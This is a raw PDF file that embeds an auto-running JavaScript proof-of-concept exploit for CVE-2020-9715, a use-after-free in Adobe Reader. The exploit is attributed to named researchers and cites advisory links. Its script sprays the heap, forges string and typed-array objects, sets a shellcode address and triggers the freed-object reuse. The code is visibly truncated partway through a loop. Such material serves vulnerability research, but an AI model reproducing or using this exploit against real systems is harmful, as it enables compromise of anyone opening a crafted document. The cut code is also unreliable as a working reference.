%PDF-1.1 1 0 obj << /Pages 2 0 R /Names << /EmbeddedFiles << /Names [(poc.pdf) << /EF << /F 5 0 R >> /F (poc.txt) /Type /F /UF (poc.txt) >>] >> >> /OpenAction << /S /JavaScript /JS( /* CVE-2020-9715 Found by: Mark Yason (@markyason) POC by: Steven Seeley (mr_me) Tekniq: element buffer reclaim SHA1(AcroRdrDC2000920063_en_US.exe) = 39722fa7f45fa46b7d21ad2a96f4b0d3da5983eb References: 1. https://www.zerodayinitiative.com/advisories/ZDI-20-991/ 2. https://www.zerodayinitiative.com/blog/2020/9/2/cve-2020-9715-exploiting-a-use-after-free-in-adobe-reader 3. https://starlabs.sg/blog/2020/04/tianfu-cup-2019-adobe-reader-exploitation/ */ console.show(); var array_buffer_spray = new Array(0x8000); var FAKE_STRING_ADDR = 0x40000058; // fake string location var FAKE_TYPEDARRAY_ADDR = FAKE_STRING_ADDR+0x10; // fake array location var HEAP_SEGMENT_SIZE = 0x10000; var REUSED = null; // the reused free buffer var SHELLCODE_ADDR = 0x13333337; // it's important that these are the same size for the plunge var esobject = Array(0x400); var esobject_holes = Array(0x400); function gc() { new ArrayBuffer(3*1024*1024*100); } function s2h(s) { var n1 = s.charCodeAt(0) var n2 = s.charCodeAt(1) return ((n2<<16)|n1)>>>0 } function spray_string_buffers() { for (var i = 0; i < array_buffer_spray.length; i++) { array_buffer_spray[i] = new ArrayBuffer(HEAP_SEGMENT_SIZE-0x10-0x8); var dv = new DataView(array_buffer_spray[i]); // faking a string dv.setUint32(0, 0x102, true); // string header dv.setUint32(4, FAKE_STRING_ADDR+12, true); // string buffer, point here to leak back idx dv.setUint32(8, 0x1f, true); // string length dv.setUint32(12, i, true); // index into array_buffer_spray } } function trigger_uaf() { // reclaim 1024 arrays for(var j=0; j<0x400; j++) f.currentValueIndices; // check for success try { if (this.dataObjects[0][0] != 0) { var reclaim = this.dataObjects[0]; console.println('(-) failed to reclaim data object'); throw '' } } catch (err) { console.println('(-) failed to reclaim data object'); throw '' } console.println('(+) successfully reclaimed data object') // free all allocated array objects f = null; reclaim = null; esobject_holes = null; this.dataObjects[0] = null; gc(); // reclaim for(var i=0; i> >> endobj 2 0 obj << /Kids [3 0 R] /Type /Pages /Count 1 >> endobj 3 0 obj << /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << /Font << /F1 << /BaseFont /Arial /Subtype /Type1 /Type /Font>> >> >> /Contents 4 0 R /Type /Page >> endobj 4 0 obj << /Length 53 >> stream BT /F1 110 /C0_0 12 Tf 25.368 764.65 Td (CVE-2020-9715) Tj ET endstream endobj 5 0 obj << /Length 12 /Type /EmbeddedFile >> stream Hello World! endstream endobj xref 0 6 0000000000 65535 f 0000000016 00000 n 0000000290 00000 n 0000000348 00000 n 0000000520 00000 n 0000000623 00000 n trailer << /Root 1 0 R /Size 6 >> startxref 708 %%EOF